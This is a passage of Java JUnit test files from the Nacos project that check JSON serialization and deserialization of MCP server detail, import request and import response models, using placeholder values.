    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Repository;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.SerializationFeature;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerDetailInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeForStdio() throws JsonProcessingException {\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        String id = UUID.randomUUID().toString();\n        mcpServerDetailInfo.setName(\"stdioServer\");\n        mcpServerDetailInfo.setId(id);\n        mcpServerDetailInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        mcpServerDetailInfo.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        mcpServerDetailInfo.setDescription(\"test stdio server\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(false);\n        mcpServerDetailInfo.getVersionDetail().setRelease_date(\"2025-07-15 23:59:59\");\n        mcpServerDetailInfo.setLocalServerConfig(new HashMap<>());\n        mcpServerDetailInfo.setCapabilities(Collections.singletonList(McpCapability.TOOL));\n        mcpServerDetailInfo.setToolSpec(new McpToolSpecification());\n        mcpServerDetailInfo.setAllVersions(Collections.singletonList(mcpServerDetailInfo.getVersionDetail()));\n        mcpServerDetailInfo.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        mcpServerDetailInfo.setVersion(\"1.0.0\");\n        \n        String json = mapper.writeValueAsString(mcpServerDetailInfo);\n        assertTrue(json.contains(\"\\\"name\\\":\\\"stdioServer\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"id\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"stdio\\\"\"));\n        assertTrue(json.contains(\"\\\"frontProtocol\\\":\\\"stdio\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test stdio server\\\"\"));\n        assertTrue(json.contains(\"\\\"versionDetail\\\":{\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"is_latest\\\":false\"));\n        assertTrue(json.contains(\"\\\"release_date\\\":\\\"2025-07-15 23:59:59\\\"\"));\n        assertTrue(json.contains(\"\\\"localServerConfig\\\":{}\"));\n        assertTrue(json.contains(\"\\\"capabilities\\\":[\\\"TOOL\\\"]\"));\n        assertTrue(json.contains(\"\\\"toolSpec\\\":{\"));\n        assertTrue(json.contains(\"\\\"allVersions\\\":[{\"));\n    }\n    \n    @Test\n    void testDeserializeForStdio() throws JsonProcessingException {\n        String json =\n                \"{\\\"id\\\":\\\"3a2c535c-d0a8-44a4-8913-0cef98904ebd\\\",\\\"name\\\":\\\"stdioServer\\\",\\\"protocol\\\":\\\"stdio\\\",\"\n                        + \"\\\"frontProtocol\\\":\\\"stdio\\\",\\\"description\\\":\\\"test stdio server\\\",\\\"versionDetail\\\":{\\\"version\\\":\\\"1.0.0\\\",\"\n                        + \"\\\"release_date\\\":\\\"2025-07-15 23:59:59\\\",\\\"is_latest\\\":false},\\\"localServerConfig\\\":{},\\\"enabled\\\":true,\"\n                        + \"\\\"capabilities\\\":[\\\"TOOL\\\"],\\\"toolSpec\\\":{\\\"tools\\\":[],\\\"toolsMeta\\\":{}},\\\"allVersions\\\":[{\\\"version\\\":\\\"1.0.0\\\",\"\n                        + \"\\\"release_date\\\":\\\"2025-07-15 23:59:59\\\",\\\"is_latest\\\":false}],\\\"namespaceId\\\":\\\"public\\\", \\\"version\\\":\\\"1.0.0\\\"}\";\n        McpServerDetailInfo result = mapper.readValue(json, McpServerDetailInfo.class);\n        assertNotNull(result);\n        assertEquals(\"3a2c535c-d0a8-44a4-8913-0cef98904ebd\", result.getId());\n        assertEquals(\"stdioServer\", result.getName());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, result.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, result.getFrontProtocol());\n        assertEquals(\"test stdio server\", result.getDescription());\n        assertNotNull(result.getVersionDetail());\n        assertEquals(\"1.0.0\", result.getVersionDetail().getVersion());\n        assertEquals(\"2025-07-15 23:59:59\", result.getVersionDetail().getRelease_date());\n        assertFalse(result.getVersionDetail().getIs_latest());\n        assertNotNull(result.getLocalServerConfig());\n        assertTrue(result.isEnabled());\n        assertNotNull(result.getCapabilities());\n        assertEquals(1, result.getCapabilities().size());\n        assertEquals(McpCapability.TOOL, result.getCapabilities().get(0));\n        assertNotNull(result.getToolSpec());\n        assertNotNull(result.getAllVersions());\n        assertEquals(1, result.getAllVersions().size());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"1.0.0\", result.getVersion());\n    }\n    \n    @Test\n    void testSerializeForSse() throws JsonProcessingException {\n        // Repository是空对象\n        mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        String id = UUID.randomUUID().toString();\n        mcpServerDetailInfo.setName(\"stdioServer\");\n        mcpServerDetailInfo.setId(id);\n        mcpServerDetailInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        mcpServerDetailInfo.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        mcpServerDetailInfo.setDescription(\"test sse server\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(false);\n        mcpServerDetailInfo.getVersionDetail().setRelease_date(\"2025-07-15 23:59:59\");\n        mcpServerDetailInfo.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        mcpServerDetailInfo.getRemoteServerConfig().setExportPath(\"/test\");\n        mcpServerDetailInfo.getRemoteServerConfig().setServiceRef(new McpServiceRef());\n        mcpServerDetailInfo.getRemoteServerConfig().getServiceRef()\n                .setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        mcpServerDetailInfo.getRemoteServerConfig().getServiceRef().setGroupName(\"testG\");\n        mcpServerDetailInfo.getRemoteServerConfig().getServiceRef().setServiceName(\"testS\");\n        mcpServerDetailInfo.getRemoteServerConfig()\n                .setFrontEndpointConfigList(Collections.singletonList(new FrontEndpointConfig()));\n        mcpServerDetailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        mcpServerDetailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        mcpServerDetailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        mcpServerDetailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0).setEndpointData(\"1.1.1.1:8080\");\n        mcpServerDetailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0).setPath(\"/testFront\");\n        mcpServerDetailInfo.setRepository(new Repository());\n        mcpServerDetailInfo.setCapabilities(Collections.singletonList(McpCapability.TOOL));\n        mcpServerDetailInfo.setToolSpec(new McpToolSpecification());\n        mcpServerDetailInfo.setAllVersions(Collections.singletonList(mcpServerDetailInfo.getVersionDetail()));\n        mcpServerDetailInfo.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        mcpServerDetailInfo.setBackendEndpoints(Collections.singletonList(new McpEndpointInfo()));\n        mcpServerDetailInfo.getBackendEndpoints().get(0).setPath(\"/testBack\");\n        mcpServerDetailInfo.getBackendEndpoints().get(0).setAddress(\"1.1.1.1\");\n        mcpServerDetailInfo.getBackendEndpoints().get(0).setPort(3306);\n        mcpServerDetailInfo.setFrontendEndpoints(Collections.emptyList());\n        \n        String json = mapper.writeValueAsString(mcpServerDetailInfo);\n        assertTrue(json.contains(\"\\\"name\\\":\\\"stdioServer\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"id\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"mcp-sse\\\"\"));\n        assertTrue(json.contains(\"\\\"frontProtocol\\\":\\\"mcp-sse\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test sse server\\\"\"));\n        assertTrue(json.contains(\"\\\"versionDetail\\\":{\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"is_latest\\\":false\"));\n        assertTrue(json.contains(\"\\\"release_date\\\":\\\"2025-07-15 23:59:59\\\"\"));\n        assertTrue(json.contains(\"\\\"remoteServerConfig\\\":{\"));\n        assertTrue(json.contains(\"\\\"exportPath\\\":\\\"/test\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceRef\\\":{\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"testG\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"testS\\\"\"));\n        assertTrue(json.contains(\"\\\"capabilities\\\":[\\\"TOOL\\\"]\"));\n        assertTrue(json.contains(\"\\\"toolSpec\\\":{\"));\n        assertTrue(json.contains(\"\\\"allVersions\\\":[{\"));\n        assertTrue(json.contains(\"\\\"repository\\\":{}\"));\n        assertTrue(json.contains(\"\\\"frontendEndpoints\\\":[]\"));\n    }\n    \n    @Test\n    void testDeserializeForSse() throws JsonProcessingException {\n        String json =\n                \"{\\\"id\\\":\\\"c769b89b-edb5-4912-8e39-71bf5dc31eab\\\",\\\"name\\\":\\\"stdioServer\\\",\\\"protocol\\\":\\\"mcp-sse\\\",\"\n                        + \"\\\"frontProtocol\\\":\\\"mcp-sse\\\",\\\"description\\\":\\\"test sse server\\\",\\\"repository\\\":{},\\\"versionDetail\\\":\"\n                        + \"{\\\"version\\\":\\\"1.0.0\\\",\\\"release_date\\\":\\\"2025-07-15 23:59:59\\\",\\\"is_latest\\\":false},\"\n                        + \"\\\"remoteServerConfig\\\":{\\\"serviceRef\\\":{\\\"namespaceId\\\":\\\"public\\\",\\\"groupName\\\":\\\"testG\\\",\"\n                        + \"\\\"serviceName\\\":\\\"testS\\\"},\\\"exportPath\\\":\\\"/test\\\",\\\"frontEndpointConfigList\\\":[{\\\"type\\\":\"\n                        + \"\\\"mcp-sse\\\",\\\"protocol\\\":\\\"http\\\",\\\"endpointType\\\":\\\"DIRECT\\\",\\\"endpointData\\\":\\\"1.1.1.1:8080\\\",\"\n                        + \"\\\"path\\\":\\\"/testFront\\\"}]},\\\"enabled\\\":true,\\\"capabilities\\\":[\\\"TOOL\\\"],\\\"backendEndpoints\\\":\"\n                        + \"[{\\\"address\\\":\\\"1.1.1.1\\\",\\\"port\\\":3306,\\\"path\\\":\\\"/testBack\\\"}],\\\"frontendEndpoints\\\":[],\\\"toolSpec\\\":{\\\"tools\\\":[],\"\n                        + \"\\\"toolsMeta\\\":{}},\\\"allVersions\\\":[{\\\"version\\\":\\\"1.0.0\\\",\\\"release_date\\\":\\\"2025-07-15 23:59:59\\\",\"\n                        + \"\\\"is_latest\\\":false}],\\\"namespaceId\\\":\\\"public\\\"}\";\n        McpServerDetailInfo result = mapper.readValue(json, McpServerDetailInfo.class);\n        assertNotNull(result);\n        assertEquals(\"c769b89b-edb5-4912-8e39-71bf5dc31eab\", result.getId());\n        assertEquals(\"stdioServer\", result.getName());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_SSE, result.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_SSE, result.getFrontProtocol());\n        assertEquals(\"test sse server\", result.getDescription());\n        assertNotNull(result.getVersionDetail());\n        assertEquals(\"1.0.0\", result.getVersionDetail().getVersion());\n        assertEquals(\"2025-07-15 23:59:59\", result.getVersionDetail().getRelease_date());\n        assertFalse(result.getVersionDetail().getIs_latest());\n        assertNotNull(result.getRemoteServerConfig());\n        assertNotNull(result.getRemoteServerConfig().getServiceRef());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                result.getRemoteServerConfig().getServiceRef().getNamespaceId());\n        assertEquals(\"testG\", result.getRemoteServerConfig().getServiceRef().getGroupName());\n        assertEquals(\"testS\", result.getRemoteServerConfig().getServiceRef().getServiceName());\n        assertNotNull(result.getRemoteServerConfig().getExportPath());\n        assertEquals(\"/test\", result.getRemoteServerConfig().getExportPath());\n        assertTrue(result.isEnabled());\n        assertNotNull(result.getCapabilities());\n        assertEquals(1, result.getCapabilities().size());\n        assertEquals(McpCapability.TOOL, result.getCapabilities().get(0));\n        assertNotNull(result.getToolSpec());\n        assertNotNull(result.getAllVersions());\n        assertEquals(1, result.getAllVersions().size());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertNotNull(result.getRepository());\n        assertNotNull(result.getBackendEndpoints());\n        assertEquals(1, result.getBackendEndpoints().size());\n        assertEquals(\"1.1.1.1\", result.getBackendEndpoints().get(0).getAddress());\n        assertEquals(3306, result.getBackendEndpoints().get(0).getPort());\n        assertEquals(\"/testBack\", result.getBackendEndpoints().get(0).getPath());\n        assertEquals(1, result.getRemoteServerConfig().getFrontEndpointConfigList().size());\n        FrontEndpointConfig frontEndpointConfig = result.getRemoteServerConfig().getFrontEndpointConfigList().get(0);\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_SSE, frontEndpointConfig.getType());\n        assertEquals(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT, frontEndpointConfig.getEndpointType());\n        assertEquals(\"1.1.1.1:8080\", frontEndpointConfig.getEndpointData());\n        assertEquals(\"/testFront\", frontEndpointConfig.getPath());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_HTTP, frontEndpointConfig.getProtocol());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerImportRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeJsonImport() throws JsonProcessingException {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"json\");\n        request.setData(\"{\\\"servers\\\":[{\\\"name\\\":\\\"test-server\\\"}]}\");\n        request.setOverrideExisting(true);\n        request.setValidateOnly(false);\n        request.setSelectedServers(new String[]{\"server1\", \"server2\"});\n        request.setCursor(\"cursor123\");\n        request.setLimit(10);\n        request.setSearch(\"test\");\n        request.setSkipInvalid(true);\n        \n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"importType\\\":\\\"json\\\"\"));\n        assertTrue(json.contains(\"\\\"data\\\":\\\"{\\\\\\\"servers\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"test-server\\\\\\\"}]}\\\"\"));\n        assertTrue(json.contains(\"\\\"overrideExisting\\\":true\"));\n        assertTrue(json.contains(\"\\\"validateOnly\\\":false\"));\n        assertTrue(json.contains(\"\\\"selectedServers\\\":[\\\"server1\\\",\\\"server2\\\"]\"));\n        assertTrue(json.contains(\"\\\"cursor\\\":\\\"cursor123\\\"\"));\n        assertTrue(json.contains(\"\\\"limit\\\":10\"));\n        assertTrue(json.contains(\"\\\"search\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"skipInvalid\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeFileImport() throws JsonProcessingException {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"file\");\n        request.setData(\"/path/to/import/file.json\");\n        request.setOverrideExisting(false);\n        request.setValidateOnly(true);\n        request.setCursor(\"cursor456\");\n        request.setLimit(20);\n        request.setSearch(\"demo\");\n        request.setSkipInvalid(false);\n        \n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"importType\\\":\\\"file\\\"\"));\n        assertTrue(json.contains(\"\\\"data\\\":\\\"/path/to/import/file.json\\\"\"));\n        assertTrue(json.contains(\"\\\"overrideExisting\\\":false\"));\n        assertTrue(json.contains(\"\\\"validateOnly\\\":true\"));\n        assertTrue(json.contains(\"\\\"cursor\\\":\\\"cursor456\\\"\"));\n        assertTrue(json.contains(\"\\\"limit\\\":20\"));\n        assertTrue(json.contains(\"\\\"search\\\":\\\"demo\\\"\"));\n        assertTrue(json.contains(\"\\\"skipInvalid\\\":false\"));\n    }\n    \n    @Test\n    void testSerializeUrlImport() throws JsonProcessingException {\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setImportType(\"url\");\n        request.setData(\"https://example.com/mcp-servers.json\");\n        request.setOverrideExisting(false);\n        request.setValidateOnly(false);\n        request.setCursor(\"cursor789\");\n        request.setLimit(30);\n        request.setSearch(\"prod\");\n        request.setSkipInvalid(true);\n        \n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"importType\\\":\\\"url\\\"\"));\n        assertTrue(json.contains(\"\\\"data\\\":\\\"https://example.com/mcp-servers.json\\\"\"));\n        assertTrue(json.contains(\"\\\"overrideExisting\\\":false\"));\n        assertTrue(json.contains(\"\\\"validateOnly\\\":false\"));\n        assertTrue(json.contains(\"\\\"cursor\\\":\\\"cursor789\\\"\"));\n        assertTrue(json.contains(\"\\\"limit\\\":30\"));\n        assertTrue(json.contains(\"\\\"search\\\":\\\"prod\\\"\"));\n        assertTrue(json.contains(\"\\\"skipInvalid\\\":true\"));\n    }\n    \n    @Test\n    void testDeserializeJsonImport() throws JsonProcessingException {\n        String json = \"{\\\"importType\\\":\\\"json\\\",\\\"data\\\":\\\"{\\\\\\\"servers\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"test-server\\\\\\\"}]}\\\",\"\n                + \"\\\"overrideExisting\\\":true,\\\"validateOnly\\\":false,\\\"selectedServers\\\":[\\\"server1\\\",\\\"server2\\\"],\"\n                + \"\\\"cursor\\\":\\\"cursor123\\\",\\\"limit\\\":10,\\\"search\\\":\\\"test\\\",\\\"skipInvalid\\\":true}\";\n        \n        McpServerImportRequest result = mapper.readValue(json, McpServerImportRequest.class);\n        assertNotNull(result);\n        assertEquals(\"json\", result.getImportType());\n        assertEquals(\"{\\\"servers\\\":[{\\\"name\\\":\\\"test-server\\\"}]}\", result.getData());\n        assertTrue(result.isOverrideExisting());\n        assertFalse(result.isValidateOnly());\n        assertNotNull(result.getSelectedServers());\n        assertEquals(2, result.getSelectedServers().length);\n        assertEquals(\"server1\", result.getSelectedServers()[0]);\n        assertEquals(\"server2\", result.getSelectedServers()[1]);\n        assertEquals(\"cursor123\", result.getCursor());\n        assertEquals(Integer.valueOf(10), result.getLimit());\n        assertEquals(\"test\", result.getSearch());\n        assertTrue(result.isSkipInvalid());\n    }\n    \n    @Test\n    void testDeserializeFileImport() throws JsonProcessingException {\n        String json = \"{\\\"importType\\\":\\\"file\\\",\\\"data\\\":\\\"/path/to/import/file.json\\\",\"\n                + \"\\\"overrideExisting\\\":false,\\\"validateOnly\\\":true,\"\n                + \"\\\"cursor\\\":\\\"cursor456\\\",\\\"limit\\\":20,\\\"search\\\":\\\"demo\\\",\\\"skipInvalid\\\":false}\";\n        \n        McpServerImportRequest result = mapper.readValue(json, McpServerImportRequest.class);\n        assertNotNull(result);\n        assertEquals(\"file\", result.getImportType());\n        assertEquals(\"/path/to/import/file.json\", result.getData());\n        assertFalse(result.isOverrideExisting());\n        assertTrue(result.isValidateOnly());\n        assertEquals(\"cursor456\", result.getCursor());\n        assertEquals(Integer.valueOf(20), result.getLimit());\n        assertEquals(\"demo\", result.getSearch());\n        assertFalse(result.isSkipInvalid());\n    }\n    \n    @Test\n    void testDeserializeUrlImport() throws JsonProcessingException {\n        String json = \"{\\\"importType\\\":\\\"url\\\",\\\"data\\\":\\\"https://example.com/mcp-servers.json\\\",\"\n                + \"\\\"overrideExisting\\\":false,\\\"validateOnly\\\":false,\"\n                + \"\\\"cursor\\\":\\\"cursor789\\\",\\\"limit\\\":30,\\\"search\\\":\\\"prod\\\",\\\"skipInvalid\\\":true}\";\n        \n        McpServerImportRequest result = mapper.readValue(json, McpServerImportRequest.class);\n        assertNotNull(result);\n        assertEquals(\"url\", result.getImportType());\n        assertEquals(\"https://example.com/mcp-servers.json\", result.getData());\n        assertFalse(result.isOverrideExisting());\n        assertFalse(result.isValidateOnly());\n        assertEquals(\"cursor789\", result.getCursor());\n        assertEquals(Integer.valueOf(30), result.getLimit());\n        assertEquals(\"prod\", result.getSearch());\n        assertTrue(result.isSkipInvalid());\n    }\n    \n    @Test\n    void testDefaultValues() throws JsonProcessingException {\n        String json = \"{\\\"importType\\\":\\\"json\\\",\\\"data\\\":\\\"{}\\\"}\";\n        \n        McpServerImportRequest result = mapper.readValue(json, McpServerImportRequest.class);\n        assertNotNull(result);\n        assertEquals(\"json\", result.getImportType());\n        assertEquals(\"{}\", result.getData());\n        assertFalse(result.isOverrideExisting());\n        assertFalse(result.isValidateOnly());\n        assertFalse(result.isSkipInvalid());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerImportResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeSuccessResponse() throws JsonProcessingException {\n        McpServerImportResponse response = new McpServerImportResponse();\n        response.setSuccess(true);\n        response.setTotalCount(5);\n        response.setSuccessCount(4);\n        response.setFailedCount(1);\n        response.setSkippedCount(0);\n        \n        McpServerImportResult result1 = new McpServerImportResult();\n        result1.setServerName(\"server1\");\n        result1.setServerId(\"id1\");\n        result1.setStatus(\"success\");\n        \n        McpServerImportResult result2 = new McpServerImportResult();\n        result2.setServerName(\"server2\");\n        result2.setStatus(\"failed\");\n        result2.setErrorMessage(\"Connection failed\");\n        \n        response.setResults(Arrays.asList(result1, result2));\n        \n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n        assertTrue(json.contains(\"\\\"totalCount\\\":5\"));\n        assertTrue(json.contains(\"\\\"successCount\\\":4\"));\n        assertTrue(json.contains(\"\\\"failedCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"skippedCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"results\\\":[\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"server1\\\"\"));\n        assertTrue(json.contains(\"\\\"serverId\\\":\\\"id1\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"success\\\"\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"server2\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"failed\\\"\"));\n        assertTrue(json.contains(\"\\\"errorMessage\\\":\\\"Connection failed\\\"\"));\n    }\n    \n    @Test\n    void testSerializeFailedResponse() throws JsonProcessingException {\n        McpServerImportResponse response = new McpServerImportResponse();\n        response.setSuccess(false);\n        response.setTotalCount(0);\n        response.setSuccessCount(0);\n        response.setFailedCount(0);\n        response.setSkippedCount(0);\n        response.setErrorMessage(\"Invalid import data format\");\n        response.setResults(Collections.emptyList());\n        \n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n        assertTrue(json.contains(\"\\\"totalCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"successCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"failedCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"skippedCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"errorMessage\\\":\\\"Invalid import data format\\\"\"));\n        assertTrue(json.contains(\"\\\"results\\\":[]\"));\n    }\n    \n    @Test\n    void testSerializePartialSuccessResponse() throws JsonProcessingException {\n        McpServerImportResponse response = new McpServerImportResponse();\n        response.setSuccess(true);\n        response.setTotalCount(3);\n        response.setSuccessCount(2);\n        response.setFailedCount(0);\n        response.setSkippedCount(1);\n        \n        McpServerImportResult skippedResult = new McpServerImportResult();\n        skippedResult.setServerName(\"existing-server\");\n        skippedResult.setStatus(\"skipped\");\n        skippedResult.setConflictType(\"duplicate_name\");\n        \n        response.setResults(Collections.singletonList(skippedResult));\n        \n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n        assertTrue(json.contains(\"\\\"totalCount\\\":3\"));\n        assertTrue(json.contains(\"\\\"successCount\\\":2\"));\n        assertTrue(json.contains(\"\\\"failedCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"skippedCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"existing-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"skipped\\\"\"));\n        assertTrue(json.contains(\"\\\"conflictType\\\":\\\"duplicate_name\\\"\"));\n    }\n    \n    @Test\n    void testDeserializeSuccessResponse() throws JsonProcessingException {\n        String json = \"{\\\"success\\\":true,\\\"totalCount\\\":5,\\\"successCount\\\":4,\\\"failedCount\\\":1,\\\"skippedCount\\\":0,\"\n                + \"\\\"results\\\":[{\\\"serverName\\\":\\\"server1\\\",\\\"serverId\\\":\\\"id1\\\",\\\"status\\\":\\\"success\\\"},\"\n                + \"{\\\"serverName\\\":\\\"server2\\\",\\\"status\\\":\\\"failed\\\",\\\"errorMessage\\\":\\\"Connection failed\\\"}]}\";\n        \n        McpServerImportResponse result = mapper.readValue(json, McpServerImportResponse.class);\n        assertNotNull(result);\n        assertTrue(result.isSuccess());\n        assertEquals(5, result.getTotalCount());\n        assertEquals(4, result.getSuccessCount());\n        assertEquals(1, result.getFailedCount());\n        assertEquals(0, result.getSkippedCount());\n        assertNull(result.getErrorMessage());\n        assertNotNull(result.getResults());\n        assertEquals(2, result.getResults().size());\n        \n        McpServerImportResult importResult1 = result.getResults().get(0);\n        assertEquals(\"server1\", importResult1.getServerName());\n        assertEquals(\"id1\", importResult1.getServerId());\n        assertEquals(\"success\", importResult1.getStatus());\n        \n        McpServerImportResult importResult2 = result.getResults().get(1);\n        assertEquals(\"server2\", importResult2.getServerName());\n        assertEquals(\"failed\", importResult2.getStatus());\n        assertEquals(\"Connection failed\", importResult2.getErrorMessage());\n    }\n    \n    @Test\n    void testDeserializeFailedResponse() throws JsonProcessingException {\n        String json = \"{\\\"success\\\":false,\\\"totalCount\\\":0,\\\"successCount\\\":0,\\\"failedCount\\\":0,\\\"skippedCount\\\":0,\"\n                + \"\\\"errorMessage\\\":\\\"Invalid import data format\\\",\\\"results\\\":[]}\";\n        \n        McpServerImportResponse result = mapper.readValue(json, McpServerImportResponse.class);\n        